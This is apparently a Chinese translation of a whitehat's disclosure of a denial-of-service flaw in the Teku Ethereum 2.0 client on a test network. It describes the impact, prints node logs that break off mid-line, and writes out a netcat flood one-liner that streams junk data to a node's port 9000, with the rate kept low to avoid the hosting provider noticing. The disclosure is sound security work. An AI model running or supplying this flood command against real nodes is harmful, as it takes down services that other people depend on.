Ethereum DoS Attack on Teku Notes

Abstract

前些日子，以太坊2.0开放了attack-net攻击网环境。白帽子们在此链上对新版本的ETH进行众测。
7月27日，ETH官方确认了第一个漏洞。本文将该漏洞的issue翻译成中文。
发现该漏洞的白帽子为JonnyRhea

Description

该漏洞可导致Teku节点被DoS攻击，从而无法参与共识。

这里说的Teku 是attack-net中一条测试链的名字
同样是Attack-net测试链的还有 prysm、lighthouse

Attack scenario

1. 这个DoS攻击将持续破坏链节点的一致性。
2. 等到攻击停止后，需要手动修复，ETH才能恢复运行。
3. 受害者节点的内存将被大量消耗。最终导致宿主机重启。
4. 受害者节点的本地时钟会变慢。(had trouble staying connected to peers and one node's local clock was 20 mins slow.)

Details

How the attack was implemented

• DoS攻击命令如下:
  while true; do cat /dev/zero | pv -L 1M |nc XXX.XXX.XXX.XXX 9000 >/dev/null; done
  其中XXX.XXX.XXX.XXX是被攻击节点地址。

上述命令，是以1M/s的速率向目标节点的9000端口发送垃圾数据。
虽说发送垃圾数据的速率是越高越好，但是由于实验环境部署在AWS服务器上,
为了避免DoS攻击被AWS-ISP发现，只能将每个攻击节点的数据发送速率限制在1M/s。

• 当攻击启动时，界面如下:
  
  我们可以看到Ncat: Connection reset by peer,也就是说目标节点已经崩溃。

Attack log

Epoch 407, Slot 13038

在区块高度407，jrhea正在研究前文命令的参数(1M/s等(cy))会对节点造成怎样的影响。

jrhea(本文作者，编写漏洞报告)在实验中部署了5个节点来执行上述命令，发起DoS攻击。

14:49:44.309 INFO  - Epoch Event *** Epoch: 407, Justified checkpoint: 405, Finalized checkpoint: 404, Finalized root: 062423..e652
14:49:48.308 INFO  - Slot Event  *** Slot: 13024, Block: 615a62..0c80, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:50:00.308 INFO  - Slot Event  *** Slot: 13025, Block: 8a66bc..feaa, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:50:12.313 INFO  - Slot Event  *** Slot: 13026, Block: 6e35b1..ab31, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:50:24.312 INFO  - Slot Event  *** Slot: 13027, Block: bd188c..2c39, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:50:36.308 INFO  - Slot Event  *** Slot: 13028, Block: 1b0189..b486, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:50:48.308 INFO  - Slot Event  *** Slot: 13029, Block: 434b19..dc64, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:51:00.311 INFO  - Slot Event  *** Slot: 13030, Block: d092fa..b2d7, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:51:12.308 INFO  - Slot Event  *** Slot: 13031, Block: 9e7060..95b2, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:51:24.307 INFO  - Slot Event  *** Slot: 13032, Block: e57155..e417, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:51:36.312 INFO  - Slot Event  *** Slot: 13033, Block: 0ffe8c..e62f, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:51:48.386 INFO  - Slot Event  *** Slot: 13034, Block: 8c383d..7c25, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:52:00.439 INFO  - Slot Event  *** Slot: 13035, Block: fea7e4..b7fa, Epoch: 407, Finalized checkpoint: 405, Finalized root: 3e178e..4e06, Peers: 4
14:52:12.321 INFO  - Slot Event  *** Slot: 13036, Blo